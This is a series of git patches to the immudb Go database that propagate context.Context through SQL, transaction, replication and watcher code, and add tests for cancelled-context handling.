[]*schema.Column } -func (s *session) inferParamAndResultCols(statement string) ([]*schema.Column, []*schema.Column, error) { +func (s *session) inferParamAndResultCols(ctx context.Context, statement string) ([]*schema.Column, []*schema.Column, error) { // todo @Michele The query string contained in a Parse message cannot include more than one SQL statement; // else a syntax error is reported. This restriction does not exist in the simple-query protocol, // but it does exist in the extended protocol, because allowing prepared statements or portals to contain @@ -334,11 +335,11 @@ func (s *session) inferParamAndResultCols(statement string) ([]*schema.Column, [ sel, ok := stmt.(*sql.SelectStmt) if ok { - rr, err := s.database.SQLQueryRowReader(sel, nil, nil) + rr, err := s.database.SQLQueryRowReader(ctx, nil, sel, nil) if err != nil { return nil, nil, err } - cols, err := rr.Columns() + cols, err := rr.Columns(ctx) if err != nil { return nil, nil, err } @@ -347,7 +348,7 @@ func (s *session) inferParamAndResultCols(statement string) ([]*schema.Column, [ } } - r, err := s.database.InferParametersPrepared(stmt, nil) + r, err := s.database.InferParametersPrepared(ctx, nil, stmt) if err != nil { return nil, nil, err } diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index dfc732b44e..65b989c2e6 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "context" "errors" "fmt" "net" @@ -416,7 +417,7 @@ func TestSession_QueriesMachine(t *testing.T) { } go tt.in(c2) - err := s.QueriesMachine() + err := s.QueriesMachine(context.Background()) require.Equal(t, tt.out, err) }) diff --git a/pkg/pgsql/server/request_handler.go b/pkg/pgsql/server/request_handler.go index 9021373fcd..fe3af376af 100644 --- a/pkg/pgsql/server/request_handler.go +++ b/pkg/pgsql/server/request_handler.go @@ -17,6 +17,7 @@ limitations under the License. package server import ( + "context" "net" ) @@ -34,7 +35,7 @@ func (s *srv) handleRequest(conn net.Conn) (err error) { return err } // https://www.postgresql.org/docs/current/protocol-flow.html#id-1.10.5.7.4 - err = ss.QueriesMachine() + err = ss.QueriesMachine(context.Background()) if err != nil { return err } diff --git a/pkg/pgsql/server/request_handler_test.go b/pkg/pgsql/server/request_handler_test.go index 386c63ade9..a6f93381d9 100644 --- a/pkg/pgsql/server/request_handler_test.go +++ b/pkg/pgsql/server/request_handler_test.go @@ -2,9 +2,10 @@ package server import ( "errors" - "github.com/stretchr/testify/require" "net" "testing" + + "github.com/stretchr/testify/require" ) func TestHandleRequestNil(t *testing.T) { diff --git a/pkg/pgsql/server/session.go b/pkg/pgsql/server/session.go index a7e659a01b..0781dcfbe4 100644 --- a/pkg/pgsql/server/session.go +++ b/pkg/pgsql/server/session.go @@ -50,7 +50,7 @@ type session struct { type Session interface { InitializeSession() error HandleStartup(dbList database.DatabaseList) error - QueriesMachine() (err error) + QueriesMachine(ctx context.Context) (err error) ErrorHandle(err error) } diff --git a/pkg/pgsql/server/session_test.go b/pkg/pgsql/server/session_test.go index 15d6bc418d..ded17d89c7 100644 --- a/pkg/pgsql/server/session_test.go +++ b/pkg/pgsql/server/session_test.go @@ -17,12 +17,14 @@ limitations under the License. package server import ( + "context" + "github.com/codenotary/immudb/pkg/database" ) type sessionMock struct { InitializeSessionF func() error - QueryMachineF func() error + QueryMachineF func(ctx context.Context) error HandleStartupF func() error } @@ -31,7 +33,7 @@ func NewSessionMock() *sessionMock { InitializeSessionF: func() error { return nil }, - QueryMachineF: func() error { + QueryMachineF: func(ctx context.Context) error { return nil }, HandleStartupF: func() error { @@ -45,8 +47,8 @@ func (s *sessionMock) InitializeSession() error { return s.InitializeSessionF() } -func (s *sessionMock) QueriesMachine() error { - return s.QueryMachineF() +func (s *sessionMock) QueriesMachine(ctx context.Context) error { + return s.QueryMachineF(ctx) } func (s *sessionMock) HandleStartup(dbList database.DatabaseList) error { diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 2b509ddd15..9af0973c71 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -148,31 +148,31 @@ func (db *closedDB) NewSQLTx(ctx context.Context, _ *sql.TxOptions) (*sql.SQLTx, return nil, store.ErrAlreadyClosed } -func (db *closedDB) SQLExec(req *schema.SQLExecRequest, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { +func (db *closedDB) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { return nil, nil, store.ErrAlreadyClosed } -func (db *closedDB) SQLExecPrepared(stmts []sql.SQLStmt, params map[string]interface{}, tx *sql.SQLTx) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { +func (db *closedDB) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { return nil, nil, store.ErrAlreadyClosed } -func (db *closedDB) InferParameters(sql string, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) { +func (db *closedDB) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) InferParametersPrepared(stmt sql.SQLStmt, tx *sql.SQLTx) (map[string]sql.SQLValueType, error) { +func (db *closedDB) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) SQLQuery(req *schema.SQLQueryRequest, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { +func (db *closedDB) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) SQLQueryPrepared(stmt sql.DataSource, namedParams []*schema.NamedParam, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { +func (db *closedDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams []*schema.NamedParam) (*schema.SQLQueryResult, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) SQLQueryRowReader(stmt sql.DataSource, params map[string]interface{}, tx *sql.SQLTx) (sql.RowReader, error) { +func (db *closedDB) SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { return nil, store.ErrAlreadyClosed } @@ -180,11 +180,11 @@ func (db *closedDB) VerifiableSQLGet(ctx context.Context, req *schema.Verifiable return nil, store.ErrAlreadyClosed } -func (db *closedDB) ListTables(tx *sql.SQLTx) (*schema.SQLQueryResult, error) { +func (db *closedDB) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) DescribeTable(table string, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { +func (db *closedDB) DescribeTable(ctx context.Context, tx *sql.SQLTx, table string) (*schema.SQLQueryResult, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/db_dummy_closed_test.go b/pkg/server/db_dummy_closed_test.go index cef4471ac9..c594b05ea0 100644 --- a/pkg/server/db_dummy_closed_test.go +++ b/pkg/server/db_dummy_closed_test.go @@ -99,34 +99,34 @@ func TestDummyClosedDatabase(t *testing.T) { _, err = cdb.NewSQLTx(nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, _, err = cdb.SQLExec(nil, nil) + _, _, err = cdb.SQLExec(context.Background(), nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, _, err = cdb.SQLExecPrepared(nil, nil, nil) + _, _, err = cdb.SQLExecPrepared(context.Background(), nil, nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.InferParameters("", nil) + _, err = cdb.InferParameters(context.Background(), nil, "") require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.InferParametersPrepared(nil, nil) + _, err = cdb.InferParametersPrepared(context.Background(), nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.SQLQuery(nil, nil) + _, err = cdb.SQLQuery(context.Background(), nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.SQLQueryPrepared(nil, nil, nil) + _, err = cdb.SQLQueryPrepared(context.Background(), nil, nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.SQLQueryRowReader(nil, nil, nil) + _, err = cdb.SQLQueryRowReader(context.Background(), nil, nil, nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) _, err = cdb.VerifiableSQLGet(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.ListTables(nil) + _, err = cdb.ListTables(context.Background(), nil) require.ErrorIs(t, err, store.ErrAlreadyClosed) - _, err = cdb.DescribeTable("", nil) + _, err = cdb.DescribeTable(context.Background(), nil, "") require.ErrorIs(t, err, store.ErrAlreadyClosed) err = cdb.WaitForTx(context.Background(), 0, true) diff --git a/pkg/server/multidb_handler.go b/pkg/server/multidb_handler.go index 274087eb37..739df83c55 100644 --- a/pkg/server/multidb_handler.go +++ b/pkg/server/multidb_handler.go @@ -82,5 +82,5 @@ func (h *multidbHandler) ExecPreparedStmts( return nil, nil, err } - return db.SQLExecPrepared(stmts, params, tx) + return db.SQLExecPrepared(ctx, tx, stmts, params) } diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 65eea046b0..406101d506 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -408,7 +408,7 @@ func TestStoreOptionsForDBWithRemoteStorage(t *testing.T) { err = tx.Set([]byte{1}, nil, []byte{2}) require.NoError(t, err) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.NoError(t, err) err = st.Close() diff --git a/pkg/server/sessions/internal/transactions/transactions.go b/pkg/server/sessions/internal/transactions/transactions.go index 4df3b699b9..e33f97b513 100644 --- a/pkg/server/sessions/internal/transactions/transactions.go +++ b/pkg/server/sessions/internal/transactions/transactions.go @@ -38,10 +38,10 @@ type Transaction interface { GetID() string IsClosed() bool Rollback() error - Commit() ([]*sql.SQLTx, error) + Commit(ctx context.Context) ([]*sql.SQLTx, error) GetSessionID() string - SQLExec(request *schema.SQLExecRequest) error - SQLQuery(request *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) + SQLExec(ctx context.Context, request *schema.SQLExecRequest) error + SQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) } func NewTransaction(ctx context.Context, opts *sql.TxOptions, db database.DB, sessionID string) (*transaction, error) { @@ -52,7 +52,7 @@ func NewTransaction(ctx context.Context, opts *sql.TxOptions, db database.DB, se return nil, err } - sqlTx, _, err := db.SQLExec(&schema.SQLExecRequest{Sql: "BEGIN TRANSACTION;"}, tx) + sqlTx, _, err := db.SQLExec(ctx, tx, &schema.SQLExecRequest{Sql: "BEGIN TRANSACTION;"}) if err != nil { return nil, err } @@ -90,7 +90,7 @@ func (tx *transaction) Rollback() error { return tx.sqlTx.Cancel() } -func (tx *transaction) Commit() ([]*sql.SQLTx, error) { +func (tx *transaction) Commit(ctx context.Context) ([]*sql.SQLTx, error) { tx.mutex.Lock() defer tx.mutex.Unlock() @@ -98,7 +98,7 @@ func (tx *transaction) Commit() ([]*sql.SQLTx, error) { return nil, sql.ErrNoOngoingTx } - _, cTxs, err := tx.db.SQLExec(&schema.SQLExecRequest{Sql: "COMMIT;"}, tx.sqlTx) + _, cTxs, err := tx.db.SQLExec(ctx, tx.sqlTx, &schema.SQLExecRequest{Sql: "COMMIT;"}) if err != nil { return nil, err } @@ -113,7 +113,7 @@ func (tx *transaction) GetSessionID() string { return tx.sessionID } -func (tx *transaction) SQLExec(request *schema.SQLExecRequest) (err error) { +func (tx *transaction) SQLExec(ctx context.Context, request *schema.SQLExecRequest) (err error) { tx.mutex.Lock() defer tx.mutex.Unlock() @@ -121,12 +121,12 @@ func (tx *transaction) SQLExec(request *schema.SQLExecRequest) (err error) { return sql.ErrNoOngoingTx } - tx.sqlTx, _, err = tx.db.SQLExec(request, tx.sqlTx) + tx.sqlTx, _, err = tx.db.SQLExec(ctx, tx.sqlTx, request) return err } -func (tx *transaction) SQLQuery(request *schema.SQLQueryRequest) (res *schema.SQLQueryResult, err error) { +func (tx *transaction) SQLQuery(ctx context.Context, request *schema.SQLQueryRequest) (res *schema.SQLQueryResult, err error) { tx.mutex.Lock() defer tx.mutex.Unlock() @@ -134,5 +134,5 @@ func (tx *transaction) SQLQuery(request *schema.SQLQueryRequest) (res *schema.SQ return nil, sql.ErrNoOngoingTx } - return tx.db.SQLQuery(request, tx.sqlTx) + return tx.db.SQLQuery(ctx, tx.sqlTx, request) } diff --git a/pkg/server/sessions/internal/transactions/transactions_test.go b/pkg/server/sessions/internal/transactions/transactions_test.go index 597b83d248..800d22ea89 100644 --- a/pkg/server/sessions/internal/transactions/transactions_test.go +++ b/pkg/server/sessions/internal/transactions/transactions_test.go @@ -40,15 +40,15 @@ func TestNewTx(t *testing.T) { err = tx.Rollback() require.NoError(t, err) - _, err = tx.SQLQuery(nil) + _, err = tx.SQLQuery(context.Background(), nil) require.ErrorIs(t, err, sql.ErrNoOngoingTx) - err = tx.SQLExec(nil) + err = tx.SQLExec(context.Background(), nil) require.ErrorIs(t, err, sql.ErrNoOngoingTx) err = tx.Rollback() require.ErrorIs(t, err, sql.ErrNoOngoingTx) - _, err = tx.Commit() + _, err = tx.Commit(context.Background()) require.ErrorIs(t, err, sql.ErrNoOngoingTx) } diff --git a/pkg/server/sessions/manager.go b/pkg/server/sessions/manager.go index 3563e216bb..7a9e7d03e7 100644 --- a/pkg/server/sessions/manager.go +++ b/pkg/server/sessions/manager.go @@ -55,7 +55,7 @@ type Manager interface { GetTransactionFromContext(ctx context.Context) (transactions.Transaction, error) GetSessionFromContext(ctx context.Context) (*Session, error) DeleteTransaction(transactions.Transaction) error - CommitTransaction(transaction transactions.Transaction) ([]*sql.SQLTx, error) + CommitTransaction(ctx context.Context, transaction transactions.Transaction) ([]*sql.SQLTx, error) RollbackTransaction(transaction transactions.Transaction) error } @@ -300,12 +300,12 @@ func (sm *manager) DeleteTransaction(tx transactions.Transaction) error { return sess.RemoveTransaction(tx.GetID()) } -func (sm *manager) CommitTransaction(tx transactions.Transaction) ([]*sql.SQLTx, error) { +func (sm *manager) CommitTransaction(ctx context.Context, tx transactions.Transaction) ([]*sql.SQLTx, error) { err := sm.DeleteTransaction(tx) if err != nil { return nil, err } - cTxs, err := tx.Commit() + cTxs, err := tx.Commit(ctx) if err != nil { return nil, err } diff --git a/pkg/server/sql.go b/pkg/server/sql.go index 427a34bcbb..6cbcd059d2 100644 --- a/pkg/server/sql.go +++ b/pkg/server/sql.go @@ -71,7 +71,7 @@ func (s *ImmuServer) SQLExec(ctx context.Context, req *schema.SQLExecRequest) (* return nil, err } - ntx, ctxs, err := db.SQLExec(req, tx) + ntx, ctxs, err := db.SQLExec(ctx, tx, req) if err != nil { return nil, err } @@ -120,7 +120,7 @@ func (s *ImmuServer) SQLQuery(ctx context.Context, req *schema.SQLQueryRequest) } defer tx.Cancel() - return db.SQLQuery(req, tx) + return db.SQLQuery(ctx, tx, req) } func (s *ImmuServer) ListTables(ctx context.Context, _ *empty.Empty) (*schema.SQLQueryResult, error) { @@ -129,7 +129,7 @@ func (s *ImmuServer) ListTables(ctx context.Context, _ *empty.Empty) (*schema.SQ return nil, err } - return db.ListTables(nil) + return db.ListTables(ctx, nil) } func (s *ImmuServer) DescribeTable(ctx context.Context, req *schema.Table) (*schema.SQLQueryResult, error) { @@ -142,5 +142,5 @@ func (s *ImmuServer) DescribeTable(ctx context.Context, req *schema.Table) (*sch return nil, err } - return db.DescribeTable(req.TableName, nil) + return db.DescribeTable(ctx, nil, req.TableName) } diff --git a/pkg/server/transaction.go b/pkg/server/transaction.go index 30e8d7e3a6..b2cd8b9f60 100644 --- a/pkg/server/transaction.go +++ b/pkg/server/transaction.go @@ -76,7 +76,7 @@ func (s *ImmuServer) Commit(ctx context.Context, _ *empty.Empty) (*schema.Commit return nil, err } - cTxs, err := s.SessManager.CommitTransaction(tx) + cTxs, err := s.SessManager.CommitTransaction(ctx, tx) if err != nil { return nil, err } @@ -121,7 +121,7 @@ func (s *ImmuServer) TxSQLExec(ctx context.Context, request *schema.SQLExecReque return new(empty.Empty), err } - res := tx.SQLExec(request) + res := tx.SQLExec(ctx, request) if tx.IsClosed() { s.SessManager.DeleteTransaction(tx) @@ -143,5 +143,5 @@ func (s *ImmuServer) TxSQLQuery(ctx context.Context, request *schema.SQLQueryReq return nil, err } - return tx.SQLQuery(request) + return tx.SQLQuery(ctx, request) } From 208a4ca52d4f28b08bd34a992673105d4d6d1680 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 17 Jan 2023 10:01:55 -0300 Subject: [PATCH 0152/1062] chore(embedded/sql): cancellable row reader Signed-off-by: Jeronimo Irazabal --- embedded/sql/row_reader.go | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/embedded/sql/row_reader.go b/embedded/sql/row_reader.go index 9db2b9b82f..06bde7bd0f 100644 --- a/embedded/sql/row_reader.go +++ b/embedded/sql/row_reader.go @@ -382,6 +382,10 @@ func (r *rawRowReader) reduceTxRange() (err error) { } func (r *rawRowReader) Read(ctx context.Context) (row *Row, err error) { + if ctx.Err() != nil { + return nil, err + } + var mkey []byte var vref store.ValueRef From 25862cf9d376615a9e739e73d299be12940f035f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 17 Jan 2023 15:46:18 -0300 Subject: [PATCH 0153/1062] chore(embedded/store): minor changes after rebasing from master Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 2 +- embedded/store/indexer.go | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 7d0e8628e5..2d9e911c02 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -689,7 +689,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { }() // wait for the tx to be waiting for sync to happen - err = store.inmemPrecommitWHub.WaitFor(1, nil) + err = store.inmemPrecommitWHub.WaitFor(context.Background(), 1) require.NoError(t, err) err = store.Sync() diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 126d0fb7af..917be9f28e 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -492,7 +492,7 @@ func (idx *indexer) indexSince(txID uint64) error { if bulkSize < idx.maxBulkSize { // wait for the next tx to be committed - err = idx.store.commitWHub.WaitFor(txID+uint64(i+1), ctx.Done()) + err = idx.store.commitWHub.WaitFor(ctx, txID+uint64(i+1)) } if err == watchers.ErrCancellationRequested { break From fe6e14f92b9268a35a3262bd8df2f70c41486ff1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 18 Jan 2023 09:37:31 -0300 Subject: [PATCH 0154/1062] chore(pkg/replication): context propagation Signed-off-by: Jeronimo Irazabal --- pkg/replication/replicator.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index f86ddd17dc..79acc2be09 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -203,7 +203,7 @@ func (txr *TxReplicator) replicateSingleTx(data []byte) bool { // replication must be retried as many times as necessary for { - _, err := txr.db.ReplicateTx(context.Background(), data) + _, err := txr.db.ReplicateTx(txr.context, data) if err == nil { break // transaction successfully replicated } From b27f7b8a2111c8bb25752bb93e2d4a2295dbdd36 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 18 Jan 2023 09:40:00 -0300 Subject: [PATCH 0155/1062] chore(embedded/store): context propagation Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index cd23e8976b..66578ce4c9 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -1615,7 +1615,7 @@ func (s *ImmuStore) CommitWith(ctx context.Context, callback func(txID uint64, i } // note: durability is ensured only if the store is in sync mode - err = s.commitWHub.WaitFor(context.Background(), hdr.ID) + err = s.commitWHub.WaitFor(ctx, hdr.ID) if errors.Is(err, watchers.ErrAlreadyClosed) { return nil, ErrAlreadyClosed } @@ -2181,8 +2181,8 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI return nil, err } - // the use of a non-cancellable context is to enforce waiting for syncing to happen before exposing the header - err = s.durablePrecommitWHub.WaitFor(context.Background(), txHdr.ID) + // wait for syncing to happen before exposing the header + err = s.durablePrecommitWHub.WaitFor(ctx, txHdr.ID) if err == watchers.ErrAlreadyClosed { return nil, ErrAlreadyClosed } @@ -2191,7 +2191,7 @@ func (s *ImmuStore) ReplicateTx(ctx context.Context, exportedTx []byte, waitForI } if !s.useExternalCommitAllowance { - err = s.commitWHub.WaitFor(context.Background(), txHdr.ID) + err = s.commitWHub.WaitFor(ctx, txHdr.ID) if err == watchers.ErrAlreadyClosed { return nil, ErrAlreadyClosed } From c2c43db07ffd376a9d0f55984976f3b0d0cc0c82 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 19 Jan 2023 11:45:44 -0300 Subject: [PATCH 0156/1062] chore(embedded/watchers): return context error upon cancellation Signed-off-by: Jeronimo Irazabal --- embedded/watchers/watchers.go | 3 +-- embedded/watchers/watchers_test.go | 4 ++-- 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/embedded/watchers/watchers.go b/embedded/watchers/watchers.go index bceb1cf103..45635417f5 100644 --- a/embedded/watchers/watchers.go +++ b/embedded/watchers/watchers.go @@ -24,7 +24,6 @@ import ( var ErrMaxWaitessLimitExceeded = errors.New("watchers: max waiting limit exceeded") var ErrAlreadyClosed = errors.New("watchers: already closed") -var ErrCancellationRequested = errors.New("watchers: cancellation requested") type WatchersHub struct { wpoints map[uint64]*waitingPoint @@ -154,7 +153,7 @@ func (w *WatchersHub) WaitFor(ctx context.Context, t uint64) error { } } - return ErrCancellationRequested + return ctx.Err() } return nil diff --git a/embedded/watchers/watchers_test.go b/embedded/watchers/watchers_test.go index 5786ec2587..2cdfaa4dbb 100644 --- a/embedded/watchers/watchers_test.go +++ b/embedded/watchers/watchers_test.go @@ -38,7 +38,7 @@ func TestWatchersHub(t *testing.T) { defer cancel() err := wHub.WaitFor(ctx, 1) - require.ErrorIs(t, err, ErrCancellationRequested) + require.ErrorIs(t, err, context.DeadlineExceeded) doneUpto, waiting, err := wHub.Status() require.NoError(t, err) @@ -150,7 +150,7 @@ func TestSimultaneousCancellationAndNotification(t *testing.T) { require.NoError(t, err) err = wHub.WaitFor(ctx, j) - if errors.Is(err, ErrCancellationRequested) { + if errors.Is(err, context.DeadlineExceeded) { // Check internal invariant of the wHub // Since we got cancel request it must only happen // as long as we did not already cross the waiting point From e50fd6e797e5ca6486ea28c646de37e1657758c3 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 19 Jan 2023 11:48:53 -0300 Subject: [PATCH 0157/1062] test(embedded/store): validate transaction processing with a closed context Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 38 ++++++++++++++++++++++++++++---- embedded/store/indexer.go | 5 +++-- embedded/store/ongoing_tx.go | 8 +++++++ 3 files changed, 45 insertions(+), 6 deletions(-) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 2d9e911c02..bdf17f2e7e 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -247,7 +247,7 @@ func TestImmudbStoreWithTimeFunction(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) - defer immuStore.Close() + defer immustoreClose(t, immuStore) err = immuStore.UseTimeFunc(nil) require.ErrorIs(t, err, ErrIllegalArguments) @@ -2609,7 +2609,7 @@ func TestImmudbStoreCommitWithPreconditions(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1)) require.NoError(t, err) - defer immuStore.Close() + defer immustoreClose(t, immuStore) // set initial value otx, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -3557,7 +3557,7 @@ func TestImmudbStoreMVCC(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) - defer immuStore.Close() + defer immustoreClose(t, immuStore) t.Run("no read conflict should be detected when read keys are not updated by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -4032,7 +4032,7 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { immuStore, err := Open(t.TempDir(), DefaultOptions().WithMVCCReadSetLimit(mvccReadsetLimit)) require.NoError(t, err) - defer immuStore.Close() + defer immustoreClose(t, immuStore) t.Run("MVCC read-set limit should be reached when randomly reading keys", func(t *testing.T) { tx1, err := immuStore.NewTx(context.Background(), DefaultTxOptions()) @@ -4195,3 +4195,33 @@ func TestImmudbStoreMVCCBoundaries(t *testing.T) { require.NoError(t, err) }) } + +func TestImmudbStoreWithClosedContext(t *testing.T) { + immuStore, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) + + defer immustoreClose(t, immuStore) + + t.Run("transaction creation should fail with a cancelled", func(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + _, err := immuStore.NewTx(ctx, DefaultTxOptions()) + require.ErrorIs(t, err, context.Canceled) + }) + + t.Run("transaction commit should fail with a cancelled", func(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + + tx, err := immuStore.NewTx(ctx, DefaultTxOptions()) + require.NoError(t, err) + + err = tx.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + cancel() + + _, err = tx.Commit(ctx) + require.ErrorIs(t, err, context.Canceled) + }) +} diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 917be9f28e..f125944ec3 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -20,6 +20,7 @@ import ( "context" "crypto/sha256" "encoding/binary" + "errors" "fmt" "path/filepath" "sync" @@ -382,7 +383,7 @@ func (idx *indexer) doIndexing() { } err := idx.store.commitWHub.WaitFor(idx.ctx, lastIndexedTx+1) - if err == watchers.ErrCancellationRequested || err == watchers.ErrAlreadyClosed { + if idx.ctx.Err() != nil || errors.Is(err, watchers.ErrAlreadyClosed) { return } if err != nil { @@ -494,7 +495,7 @@ func (idx *indexer) indexSince(txID uint64) error { // wait for the next tx to be committed err = idx.store.commitWHub.WaitFor(ctx, txID+uint64(i+1)) } - if err == watchers.ErrCancellationRequested { + if ctx.Err() != nil { break } if err != nil { diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index b1fcc62d85..09f525f93a 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -72,6 +72,10 @@ type EntrySpec struct { } func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingTx, error) { + if ctx.Err() != nil { + return nil, ctx.Err() + } + err := opts.Validate() if err != nil { return nil, err @@ -426,6 +430,10 @@ func (tx *OngoingTx) commit(ctx context.Context, waitForIndexing bool) (*TxHeade tx.closed = true + if ctx.Err() != nil { + return nil, ctx.Err() + } + return tx.st.commit(ctx, tx, nil, waitForIndexing) } From 5ede462ebd28cb0cde184765fd4ec22338e26d28 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 19 Jan 2023 11:49:21 -0300 Subject: [PATCH 0158/1062] test(embedded/sql): validate transaction processing with a closed context Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 36 ++++++++++++++++++++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index b81bb43429..4ad79289d0 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5861,3 +5861,39 @@ func TestConcurrentInsertions(t *testing.T) { wg.Wait() } + +func TestSQLTxWithClosedContext(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id);", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (title);", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1 (active);", nil) + require.NoError(t, err) + + t.Run("transaction creation should fail with a cancelled", func(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + _, _, err := engine.Exec(ctx, nil, "BEGIN TRANSACTION;", nil) + require.ErrorIs(t, err, context.Canceled) + }) + + t.Run("transaction commit should fail with a cancelled", func(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + + tx, _, err := engine.Exec(ctx, nil, "BEGIN TRANSACTION;", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(ctx, tx, "INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) + require.NoError(t, err) + + cancel() + + _, _, err = engine.Exec(ctx, tx, "COMMIT;", nil) + require.ErrorIs(t, err, context.Canceled) + }) +} From 24daf4fa1ccb600a2fce5d27cbb7ee4192b0d887 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 19 Jan 2023 11:50:23 -0300 Subject: [PATCH 0159/1062] test(pkg/integration): validate transaction processing with a closed context Signed-off-by: Jeronimo Irazabal --- 